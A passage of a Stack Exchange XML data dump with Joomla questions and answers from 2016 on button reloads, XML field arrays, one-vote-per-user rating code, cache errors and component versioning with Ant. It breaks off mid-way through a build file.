  <row Id="17991" PostTypeId="1" AcceptedAnswerId="17992" CreationDate="2016-09-27T07:55:32.597" Score="0" ViewCount="656" Body="&lt;p&gt;Im using the js function shown below to make a part of page disappear when user clicks on the button. &#xA;but when i click on the button, the part disappears, but page reloads. &#xA;why is it like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button id=&quot;myDIV&quot; onclick=&quot;fncShowHide()&quot;&amp;gt;Try it&amp;lt;/button&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;window.fncShowHide = function() {&#xA;   document.getElementById(&quot;idein&quot;).className = &quot;display-none&quot;;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="8738" LastEditDate="2016-09-27T08:02:13.113" LastActivityDate="2016-09-27T08:06:13.037" Title="page reloads when using document.getElementById" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17992" PostTypeId="2" ParentId="17991" CreationDate="2016-09-27T08:06:13.037" Score="1" Body="&lt;p&gt;it happens because the button is submitting a form (most probably) try adding this to your html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button id=&quot;myDIV&quot;  type=&quot;button&quot; onclick=&quot;fncShowHide()&quot;&amp;gt;Try it&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-09-27T08:06:13.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17993" PostTypeId="1" CreationDate="2016-09-27T08:45:17.967" Score="1" ViewCount="515" Body="&lt;p&gt;I have try to define a array in media field name in joomla xml file.but it doesn't work. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/84JLF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/84JLF.png&quot; alt=&quot;here what I want&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;s1img[]&quot; label=&quot;Image 1&quot; type=&quot;media&quot; directory=&quot;Images&quot; /&amp;gt;      &#xA;&amp;lt;field name=&quot;imgSetting[]&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Image Setting&quot; description=&quot;&quot; size=&quot;60&quot;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;s1img[]&quot; label=&quot;Image 2&quot; type=&quot;media&quot; directory=&quot;Images&quot; /&amp;gt;&#xA;&amp;lt;field name=&quot;imgSetting[]&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Image Setting&quot; description=&quot;&quot; size=&quot;60&quot;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;s1img[]&quot; label=&quot;Image 3&quot; type=&quot;media&quot; directory=&quot;Images&quot; /&amp;gt;&#xA;&amp;lt;field name=&quot;imgSetting[]&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Image Setting&quot; description=&quot;&quot; size=&quot;60&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i used this code it looks like this.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OOOlX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OOOlX.png&quot; alt=&quot;Only Show Last field&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix this..?&lt;/p&gt;&#xA;" OwnerUserId="9080" LastActivityDate="2016-11-26T14:37:27.930" Title="How to define Array in XML field - Joomla" Tags="|joomla-3.x|php|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17996" PostTypeId="1" CreationDate="2016-09-27T09:04:39.350" Score="1" ViewCount="342" Body="&lt;p&gt;I am using the Joomla Rating System, and I'm trying to change the code slightly. Right now, there is a possibility that a user can rate more than once on one article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already changed the star voting system from 5 stars to 10 stars, but I can't manage to limit users to one vote per article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the change should be made in: &lt;strong&gt;/components/com_content/models/article.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the original code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_content&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;/**&#xA; * Content Component Article Model&#xA; *&#xA; * @since  1.5&#xA; */&#xA;class ContentModelArticle extends JModelItem&#xA;{&#xA;    /**&#xA;     * Model context string.&#xA;     *&#xA;     * @var        string&#xA;     */&#xA;    protected $_context = 'com_content.article';&#xA;&#xA;    /**&#xA;     * Method to auto-populate the model state.&#xA;     *&#xA;     * Note. Calling getState in this method will result in recursion.&#xA;     *&#xA;     * @since   1.6&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    protected function populateState()&#xA;    {&#xA;            $app = JFactory::getApplication('site');&#xA;&#xA;            // Load state from the request.&#xA;            $pk = $app-&amp;gt;input-&amp;gt;getInt('id');&#xA;            $this-&amp;gt;setState('article.id', $pk);&#xA;&#xA;            $offset = $app-&amp;gt;input-&amp;gt;getUInt('limitstart');&#xA;            $this-&amp;gt;setState('list.offset', $offset);&#xA;&#xA;            // Load the parameters.&#xA;            $params = $app-&amp;gt;getParams();&#xA;            $this-&amp;gt;setState('params', $params);&#xA;&#xA;            // TODO: Tune these values based on other permissions.&#xA;            $user = JFactory::getUser();&#xA;&#xA;            if ((!$user-&amp;gt;authorise('core.edit.state', 'com_content')) &amp;amp;&amp;amp; (!$user-&amp;gt;authorise('core.edit', 'com_content')))&#xA;            {&#xA;                    $this-&amp;gt;setState('filter.published', 1);&#xA;                    $this-&amp;gt;setState('filter.archived', 2);&#xA;            }&#xA;&#xA;            $this-&amp;gt;setState('filter.language', JLanguageMultilang::isEnabled());&#xA;    }&#xA;&#xA;/**&#xA; * Method to get article data.&#xA; *&#xA; * @param   integer  $pk  The id of the article.&#xA; *&#xA; * @return  object|boolean|JException  Menu item data object on success, boolean false or JException instance on error&#xA; */&#xA;    public function getItem($pk = null)&#xA;    {&#xA;            $user = JFactory::getUser();&#xA;&#xA;            $pk = (!empty($pk)) ? $pk : (int) $this-&amp;gt;getState('article.id');&#xA;&#xA;            if ($this-&amp;gt;_item === null)&#xA;            {&#xA;                    $this-&amp;gt;_item = array();&#xA;            }&#xA;&#xA;            if (!isset($this-&amp;gt;_item[$pk]))&#xA;            {&#xA;                    try&#xA;                    {&#xA;                            $db = $this-&amp;gt;getDbo();&#xA;                            $query = $db-&amp;gt;getQuery(true)&#xA;                                    -&amp;gt;select(&#xA;                                            $this-&amp;gt;getState(&#xA;                                                    'item.select', 'a.id, a.asset_id, a.title, a.alias, a.introtext, a.fulltext, ' .&#xA;                                                    // If badcats is not null, this means that the article is inside an unpublished category&#xA;                                                    // In this case, the state is set to 0 to indicate Unpublished (even if the article state is Published)&#xA;                                                    'CASE WHEN badcats.id is null THEN a.state ELSE 0 END AS state, ' .&#xA;                                                    'a.catid, a.created, a.created_by, a.created_by_alias, ' .&#xA;                                                    // Use created if modified is 0&#xA;                                                    'CASE WHEN a.modified = ' . $db-&amp;gt;quote($db-&amp;gt;getNullDate()) . ' THEN a.created ELSE a.modified END as modified, ' .&#xA;                                                    'a.modified_by, a.checked_out, a.checked_out_time, a.publish_up, a.publish_down, ' .&#xA;                                                    'a.images, a.urls, a.attribs, a.version, a.ordering, ' .&#xA;                                                    'a.metakey, a.metadesc, a.access, a.hits, a.metadata, a.featured, a.language, a.xreference'&#xA;                                            )&#xA;                                    );&#xA;                            $query-&amp;gt;from('#__content AS a');&#xA;&#xA;                            // Join on category table.&#xA;                            $query-&amp;gt;select('c.title AS category_title, c.alias AS category_alias, c.access AS category_access')&#xA;                                    -&amp;gt;join('LEFT', '#__categories AS c on c.id = a.catid');&#xA;&#xA;                            // Join on user table.&#xA;                            $query-&amp;gt;select('u.name AS author')&#xA;                                    -&amp;gt;join('LEFT', '#__users AS u on u.id = a.created_by');&#xA;&#xA;                            // Filter by language&#xA;                            if ($this-&amp;gt;getState('filter.language'))&#xA;                            {&#xA;                                    $query-&amp;gt;where('a.language in (' . $db-&amp;gt;quote(JFactory::getLanguage()-&amp;gt;getTag()) . ',' . $db-&amp;gt;quote('*') . ')');&#xA;                            }&#xA;&#xA;                            // Join over the categories to get parent category titles&#xA;                            $query-&amp;gt;select('parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias')&#xA;                                    -&amp;gt;join('LEFT', '#__categories as parent ON parent.id = c.parent_id');&#xA;&#xA;                            // Join on voting table&#xA;                            $query-&amp;gt;select('ROUND(v.rating_sum / v.rating_count, 0) AS rating, v.rating_count as rating_count')&#xA;                                    -&amp;gt;join('LEFT', '#__content_rating AS v ON a.id = v.content_id')&#xA;&#xA;                                   -&amp;gt;where('a.id = ' . (int) $pk);&#xA;&#xA;                            if ((!$user-&amp;gt;authorise('core.edit.state', 'com_content')) &amp;amp;&amp;amp; (!$user-&amp;gt;authorise('core.edit', 'com_content')))&#xA;                            {&#xA;                                    // Filter by start and end dates.&#xA;                                    $nullDate = $db-&amp;gt;quote($db-&amp;gt;getNullDate());&#xA;                                    $date = JFactory::getDate();&#xA;&#xA;                                    $nowDate = $db-&amp;gt;quote($date-&amp;gt;toSql());&#xA;&#xA;                                    $query-&amp;gt;where('(a.publish_up = ' . $nullDate . ' OR a.publish_up &amp;lt;= ' . $nowDate . ')')&#xA;                                            -&amp;gt;where('(a.publish_down = ' . $nullDate . ' OR a.publish_down &amp;gt;= ' . $nowDate . ')');&#xA;                            }&#xA;&#xA;                            // Join to check for category published state in parent categories up the tree&#xA;                            // If all categories are published, badcats.id will be null, and we just use the article state&#xA;                            $subquery = ' (SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent ';&#xA;                            $subquery .= 'ON cat.lft BETWEEN parent.lft AND parent.rgt ';&#xA;                            $subquery .= 'WHERE parent.extension = ' . $db-&amp;gt;quote('com_content');&#xA;                            $subquery .= ' AND parent.published &amp;lt;= 0 GROUP BY cat.id)';&#xA;                            $query-&amp;gt;join('LEFT OUTER', $subquery . ' AS badcats ON badcats.id = c.id');&#xA;&#xA;                            // Filter by published state.&#xA;                            $published = $this-&amp;gt;getState('filter.published');&#xA;                            $archived = $this-&amp;gt;getState('filter.archived');&#xA;&#xA;                            if (is_numeric($published))&#xA;                            {&#xA;                                    $query-&amp;gt;where('(a.state = ' . (int) $published . ' OR a.state =' . (int) $archived . ')');&#xA;                            }&#xA;&#xA;                            $db-&amp;gt;setQuery($query);&#xA;&#xA;                            $data = $db-&amp;gt;loadObject();&#xA;&#xA;                            if (empty($data))&#xA;                            {&#xA;                                    return JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'));&#xA;                            }&#xA;&#xA;                            // Check for published state if filter set.&#xA;                            if (((is_numeric($published)) || (is_numeric($archived))) &amp;amp;&amp;amp; (($data-&amp;gt;state != $published) &amp;amp;&amp;amp; ($data-&amp;gt;state != $archived)))&#xA;                            {&#xA;                                    return JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'));&#xA;                            }&#xA;&#xA;                            // Convert parameter fields to objects.&#xA;                            $registry = new Registry;&#xA;                            $registry-&amp;gt;loadString($data-&amp;gt;attribs);&#xA;&#xA;                            $data-&amp;gt;params = clone $this-&amp;gt;getState('params');&#xA;                            $data-&amp;gt;params-&amp;gt;merge($registry);&#xA;&#xA;                            $registry = new Registry;&#xA;                            $registry-&amp;gt;loadString($data-&amp;gt;metadata);&#xA;                            $data-&amp;gt;metadata = $registry;&#xA;&#xA;                            // Technically guest could edit an article, but lets not check that to improve performance a little.&#xA;                            if (!$user-&amp;gt;get('guest'))&#xA;                            {&#xA;                                    $userId = $user-&amp;gt;get('id');&#xA;&#xA;                                 $asset = 'com_content.article.' . $data-&amp;gt;id;&#xA;&#xA;                                    // Check general edit permission first.&#xA;                                    if ($user-&amp;gt;authorise('core.edit', $asset))&#xA;                                    {&#xA;                                            $data-&amp;gt;params-&amp;gt;set('access-edit', true);&#xA;                                    }&#xA;&#xA;                                    // Now check if edit.own is available.&#xA;                                    elseif (!empty($userId) &amp;amp;&amp;amp; $user-&amp;gt;authorise('core.edit.own', $asset))&#xA;                                    {&#xA;                                            // Check for a valid user and that they are the owner.&#xA;                                            if ($userId == $data-&amp;gt;created_by)&#xA;                                            {&#xA;                                                    $data-&amp;gt;params-&amp;gt;set('access-edit', true);&#xA;                                            }&#xA;                                    }&#xA;                            }&#xA;&#xA;                            // Compute view access permissions.&#xA;                            if ($access = $this-&amp;gt;getState('filter.access'))&#xA;                            {&#xA;                                    // If the access filter has been set, we already know this user can view.&#xA;                                    $data-&amp;gt;params-&amp;gt;set('access-view', true);&#xA;                            }&#xA;                            else&#xA;                            {&#xA;                                    // If no access filter is set, the layout takes some responsibility for display of limited information.&#xA;                                    $user = JFactory::getUser();&#xA;                                    $groups = $user-&amp;gt;getAuthorisedViewLevels();&#xA;&#xA;                                    if ($data-&amp;gt;catid == 0 || $data-&amp;gt;category_access === null)&#xA;                                    {&#xA;                                            $data-&amp;gt;params-&amp;gt;set('access-view', in_array($data-&amp;gt;access, $groups));&#xA;                                    }&#xA;                                    else&#xA;                                    {&#xA;                                            $data-&amp;gt;params-&amp;gt;set('access-view', in_array($data-&amp;gt;access, $groups) &amp;amp;&amp;amp; in_array($data-&amp;gt;category_access, $groups));&#xA;                                    }&#xA;                            }&#xA;&#xA;                            $this-&amp;gt;_item[$pk] = $data;&#xA;                    }&#xA;                    catch (Exception $e)&#xA;                    {&#xA;                            if ($e-&amp;gt;getCode() == 404)&#xA;                            {&#xA;                                    // Need to go thru the error handler to allow Redirect to work.&#xA;                                    JError::raiseError(404, $e-&amp;gt;getMessage());&#xA;                            }&#xA;                            else&#xA;                            {&#xA;                                    $this-&amp;gt;setError($e);&#xA;                                    $this-&amp;gt;_item[$pk] = false;&#xA;                            }&#xA;                    }&#xA;            }&#xA;&#xA;            return $this-&amp;gt;_item[$pk];&#xA;    }&#xA;&#xA;    /**&#xA;     * Increment the hit counter for the article.&#xA;     *&#xA;     * @param   integer  $pk  Optional primary key of the article to increment.&#xA;     *&#xA;     * @return  boolean  True if successful; false otherwise and internal error set.&#xA;     */&#xA;    public function hit($pk = 0)&#xA;    {&#xA;            $input = JFactory::getApplication()-&amp;gt;input;&#xA;            $hitcount = $input-&amp;gt;getInt('hitcount', 1);&#xA;&#xA;            if ($hitcount)&#xA;            {&#xA;                    $pk = (!empty($pk)) ? $pk : (int) $this-&amp;gt;getState('article.id');&#xA;&#xA;                    $table = JTable::getInstance('Content', 'JTable');&#xA;                    $table-&amp;gt;load($pk);&#xA;                    $table-&amp;gt;hit($pk);&#xA;            }&#xA;&#xA;            return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Save user vote on article&#xA;     *&#xA;     * @param   integer  $pk    Joomla Article Id&#xA;     * @param   integer  $rate  Voting rate&#xA;     *&#xA;     * @return  boolean          Return true on success&#xA;     */&#xA;    public function storeVote($pk = 0, $rate = 0)&#xA;    {&#xA;            if ($rate &amp;gt;= 1 &amp;amp;&amp;amp; $rate &amp;lt;= 10 &amp;amp;&amp;amp; $pk &amp;gt; 0)&#xA;            {&#xA;                    $userIP = $_SERVER['REMOTE_ADDR'];&#xA;&#xA;                    // Initialize variables.&#xA;                    $db    = $this-&amp;gt;getDbo();&#xA;                    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;                    // Create the base select statement.&#xA;                    $query-&amp;gt;select('*')&#xA;                            -&amp;gt;from($db-&amp;gt;quoteName('#__content_rating'))&#xA;                            -&amp;gt;where($db-&amp;gt;quoteName('content_id') . ' = ' . (int) $pk);&#xA;&#xA;                    // Set the query and load the result.&#xA;                    $db-&amp;gt;setQuery($query);&#xA;&#xA;                    // Check for a database error.&#xA;                    try&#xA;                    {&#xA;                            $rating = $db-&amp;gt;loadObject();&#xA;                    }&#xA;                    catch (RuntimeException $e)&#xA;                    {&#xA;                            JError::raiseWarning(500, $e-&amp;gt;getMessage());&#xA;&#xA;                            return false;&#xA;                    }&#xA;&#xA;                    // There are no ratings yet, so lets insert our rating&#xA;&#xA;                 if (!$rating)&#xA;                    {&#xA;                            $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;                            // Create the base insert statement.&#xA;                            $query-&amp;gt;insert($db-&amp;gt;quoteName('#__content_rating'))&#xA;                                    -&amp;gt;columns(array($db-&amp;gt;quoteName('content_id'), $db-&amp;gt;quoteName('lastip'), $db-&amp;gt;quoteName('rating_sum'), $db-&amp;gt;quoteName('rating_count')))&#xA;                                    -&amp;gt;values((int) $pk . ', ' . $db-&amp;gt;quote($userIP) . ',' . (int) $rate . ', 1');&#xA;&#xA;                            // Set the query and execute the insert.&#xA;                            $db-&amp;gt;setQuery($query);&#xA;&#xA;                            try&#xA;                            {&#xA;                                    $db-&amp;gt;execute();&#xA;                            }&#xA;                            catch (RuntimeException $e)&#xA;                            {&#xA;                                    JError::raiseWarning(500, $e-&amp;gt;getMessage());&#xA;&#xA;                                    return false;&#xA;                            }&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                            if ($userIP != ($rating-&amp;gt;lastip))&#xA;                            {&#xA;                                    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;                                    // Create the base update statement.&#xA;                                    $query-&amp;gt;update($db-&amp;gt;quoteName('#__content_rating'))&#xA;                                            -&amp;gt;set($db-&amp;gt;quoteName('rating_count') . ' = rating_count + 1')&#xA;                                            -&amp;gt;set($db-&amp;gt;quoteName('rating_sum') . ' = rating_sum + ' . (int) $rate)&#xA;                                            -&amp;gt;set($db-&amp;gt;quoteName('lastip') . ' = ' . $db-&amp;gt;quote($userIP))&#xA;                                            -&amp;gt;where($db-&amp;gt;quoteName('content_id') . ' = ' . (int) $pk);&#xA;&#xA;                                    // Set the query and execute the update.&#xA;                                    $db-&amp;gt;setQuery($query);&#xA;&#xA;                                    try&#xA;                                    {&#xA;                                            $db-&amp;gt;execute();&#xA;                                    }&#xA;                                    catch (RuntimeException $e)&#xA;                                    {&#xA;                                            JError::raiseWarning(500, $e-&amp;gt;getMessage());&#xA;&#xA;                                            return false;&#xA;                                    }&#xA;                            }&#xA;                            else&#xA;                            {&#xA;                                    return false;&#xA;                            }&#xA;                    }&#xA;&#xA;                    return true;&#xA;            }&#xA;&#xA;            JError::raiseWarning('SOME_ERROR_CODE', JText::sprintf('COM_CONTENT_INVALID_RATING', $rate), &quot;JModelArticle::storeVote($rate)&quot;);&#xA;&#xA;            return false;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When I change the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($userIP != ($rating-&amp;gt;lastip))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($userIP != ($rating-&amp;gt;userId)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I can vote as often as I want, because there is no ip address check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the old code, then I can vote only one time per ip address, but of course when I disconnect my internet and connect again I can vote again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I changed it to:&#xA;    if ($userId != ($rating-&gt;article.id) AND $userIP != ($rating-&gt;lastip))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it's the same like in the original one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me with the code because I am not a programmer and it was so hard for me to find the other things.&lt;/p&gt;&#xA;" OwnerUserId="9077" LastEditorUserId="12352" LastEditDate="2018-07-23T16:51:07.407" LastActivityDate="2018-07-23T16:51:07.407" Title="How to prevent a single user from voting multiple times on a single article?" Tags="|joomla-3.x|php|class-extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17997" PostTypeId="1" AcceptedAnswerId="18022" CreationDate="2016-09-27T10:00:18.980" Score="1" ViewCount="2937" Body="&lt;p&gt;I have installed Joomla 3.6 in ubuntu 16.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but after installation of Joomla, I see the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Error displaying the error page:&lt;/strong&gt; The file Cache Storage is not supported on this platform.: The file Cache Storage is not supported on this platform.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;please help me&lt;/p&gt;&#xA;" OwnerUserId="9081" LastEditorUserId="7632" LastEditDate="2016-09-27T13:02:27.427" LastActivityDate="2016-09-30T02:50:05.420" Title="Error displaying the error page: The file Cache Storage is not supported on this platform.: The file Cache Storage is not supported on this platform" Tags="|cache|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17998" PostTypeId="2" ParentId="17996" CreationDate="2016-09-27T12:29:16.373" Score="2" Body="&lt;p&gt;Your &lt;code&gt;$rating&lt;/code&gt; variable contains the following fields: &#xA;content_id, rating_sum, rating_count and lastip&#xA;You can see this by examining the database table &lt;code&gt;#__content_rating&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ratings are not saved into the database table with an user ID so there is no way to achieve what you want, sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you change it to &lt;code&gt;if ($userIP != ($rating-&amp;gt;userId)&lt;/code&gt; the result is &lt;strong&gt;always&lt;/strong&gt; &lt;em&gt;true&lt;/em&gt; because &lt;code&gt;$rating-&amp;gt;userId&lt;/code&gt; is empty (because that field is not contained in your variable. Therefore you can vote as often as you want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you change it to &lt;code&gt;if ($userId != ($rating-&amp;gt;article.id) AND $userIP != ($rating-&amp;gt;lastip))&lt;/code&gt; you will get the same result as in the original code as you already noticed. That is because &lt;code&gt;$userId != ($rating-&amp;gt;article.id)&lt;/code&gt; &lt;strong&gt;always&lt;/strong&gt; validates to &lt;em&gt;true&lt;/em&gt; (again, &lt;code&gt;article.id&lt;/code&gt; is not a valid field in &lt;code&gt;$rating&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at 3rd party plugins for rating systems at the &lt;a href=&quot;https://extensions.joomla.org/category/clients-a-communities/ratings-a-reviews&quot; rel=&quot;nofollow&quot;&gt;Joomla Extension Directory&lt;/a&gt;. They might provide you with the functionality you need. Otherwise you would have to make more changes to core code which is highly inadvisable, because you might lose your custom code with a future update of your system.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-09-27T12:29:16.373" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17999" PostTypeId="2" ParentId="17993" CreationDate="2016-09-27T12:47:19.317" Score="2" Body="&lt;p&gt;Sadly, this is not how it works in Joomla. Your fields have to have unique names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have these 3 fields, I would suggest to name your fields s1img_1, imgSetting_1, s1img_2, ... This will make things easier to save into database as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the number of fields will by dynamic, you should consider using the new &lt;a href=&quot;https://docs.joomla.org/Subform_form_field_type&quot; rel=&quot;nofollow&quot;&gt;subform field type&lt;/a&gt;. This allows you to build repeatable form fields.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-09-27T12:47:19.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18000" PostTypeId="2" ParentId="17997" CreationDate="2016-09-27T13:10:54.850" Score="1" Body="&lt;p&gt;The permissions on the &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/administrator/cache&lt;/code&gt; need to be writable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permissions can usually be updated via the file manager in your hosting control panel e.g. cPanel.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-09-27T13:10:54.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18001" PostTypeId="1" CreationDate="2016-09-27T20:11:38.607" Score="6" ViewCount="608" Body="&lt;p&gt;When a create a new Joomla component or module, the most part of coding and development is done inside the CMS structure, with the component already installed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- administrator&#xA;    - cache&#xA;    - components&#xA;        - com_component&#xA;            - &amp;lt;arquivos do componente&amp;gt;&#xA;    - help&#xA;    - includes&#xA;    - language&#xA;    - logs&#xA;    - manifests&#xA;    - modules&#xA;    - templates&#xA;- bin&#xA;- cache&#xA;- cli&#xA;- components&#xA;    - com_component&#xA;        - &amp;lt;arquivos do componente&amp;gt;&#xA;- images&#xA;- includes&#xA;- installation&#xA;- language&#xA;- layouts&#xA;- libraries&#xA;- media&#xA;- modules&#xA;- plugins&#xA;- templates&#xA;- tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is about how i version the project files inside this structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i use &lt;code&gt;.gitignore&lt;/code&gt; to ignore ALL the other Joomla files, my git repository looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- administrator&#xA;    - components&#xA;        - com_component&#xA;            - &amp;lt;arquivos do componente&amp;gt;&#xA;- components&#xA;    - com_component&#xA;        - &amp;lt;arquivos do componente&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i would like that my repository looks like a component ready to be installed (just zip and install it by joomla installer)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- admin&#xA;    - &amp;lt;arquivos do componente&amp;gt;&#xA;- site&#xA;    - &amp;lt;arquivos do componente&amp;gt;&#xA;- manifest.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5681" LastActivityDate="2018-02-10T10:37:05.580" Title="How to version a Joomla component" Tags="|git|github|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18002" PostTypeId="2" ParentId="16323" CreationDate="2016-09-28T04:52:27.080" Score="0" Body="&lt;p&gt;in your template directory, there is a file error.php that you can modified to show more appropriate info on your errors.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-09-28T04:52:27.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18003" PostTypeId="2" ParentId="18001" CreationDate="2016-09-28T05:51:34.457" Score="3" Body="&lt;p&gt;You did not mention which editor you are using. However most editors such as Eclipse supports ANT build files and can automatically build whenever any change done to the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is how I do my development.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I use separate workspace for all my projects&lt;/li&gt;&#xA;&lt;li&gt;I structure my component like what you mentioned in your last code block i.e. only the component structure and no Joomla! folders.&lt;/li&gt;&#xA;&lt;li&gt;I use ANT build file to build and send all changed files to my Joomla local installation folder&lt;/li&gt;&#xA;&lt;li&gt;Finally when needed, I use same build file (with different target) to build my final package.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is my structure of the package folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pkg_extension&#xA;  - com_extension&#xA;    - site&#xA;    - language&#xA;    - admin&#xA;    - extension.xml&#xA;    - script.php&#xA;  - plg_someplugin&#xA;  - mod_somemod&#xA;  - pkg_extension.xml&#xA;  - build.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is sample of my build.xml looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;project name=&quot;Extension&quot; default=&quot;copyall&quot; basedir=&quot;.&quot;&amp;gt;&#xA;   &amp;lt;property name=&quot;site3&quot; value=&quot;d:/xampp/htdocs/joomla/components/com_extension&quot; /&amp;gt;&#xA;   &amp;lt;property name=&quot;admin3&quot; value=&quot;d:/xampp/htdocs/joomla/administrator/components/com_extension&quot; /&amp;gt;&#xA;   &amp;lt;property name=&quot;sitelang3&quot; value=&quot;d:/xampp/htdocs/joomla/language/&quot; /&amp;gt;&#xA;   &amp;lt;property name=&quot;adminlang3&quot; value=&quot;d:/xampp/htdocs/joomla/administrator/language&quot; /&amp;gt;&#xA;   &amp;lt;target name=&quot;copyall&quot;&amp;gt;&#xA;      &amp;lt;copy todir=&quot;${site3}&quot;&amp;gt;&amp;lt;fileset dir=&quot;com_extension/site&quot;&amp;gt;&amp;lt;include name=&quot;**&quot;/&amp;gt;&amp;lt;/fileset&amp;gt;&amp;lt;/copy&amp;gt;&#xA;      &amp;lt;copy todir=&quot;${admin3}&quot; &amp;gt;&amp;lt;fileset dir=&quot;com_extension/admin&quot;&amp;gt;&amp;lt;include name=&quot;**&quot; /&amp;gt;&amp;lt;exclude 